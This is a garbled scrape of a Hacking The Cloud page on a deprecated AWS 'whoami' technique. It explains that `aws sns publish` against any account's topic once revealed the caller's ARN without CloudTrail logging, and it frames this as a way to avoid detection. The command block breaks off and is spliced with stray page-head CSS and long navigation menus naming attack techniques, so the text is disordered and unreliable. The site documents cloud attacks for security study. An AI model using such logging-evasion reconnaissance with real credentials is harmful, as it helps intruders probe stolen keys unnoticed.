Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/deprecated/whoami.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>[Deprecated] Whoami - Get Principal Name From Keys</h1> <h2 id=sns-publish>sns publish<a class=headerlink href=#sns-publish title="Permanent link">&para;</a></h2> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>As of Q4 2023 these calls can optionally be tracked in CloudTrail by enabling <a href=https://docs.aws.amazon.com/sns/latest/dg/sns-logging-using-cloudtrail.html#data-plane-events-cloudtrail>dataplane logging</a>. While this will not be enabled for the overwhelming majority of AWS accounts, there is no reason to risk it when there are other methods available.</p> </div> <p><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sns/publish.html>sns:Publish</a> would return the ARN of the calling user/role <strong>without logging to CloudTrail</strong>. To use this method, you had to provide a valid AWS account ID in the API call. This could be your own account id, or the account id of anyone else.</p> <div class=highlight><pre><span></span><code>user@host:~$ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#sns-publish class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6 checked> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=true> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#sns-publish class=md-nav__link> <span class=md-ellipsis> sns publish </span> </a> </li> <li class=md-nav__item> <a href=#sdb-list-domains class=md-nav__link> <span class=md-ellipsis> sdb list-domains </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input 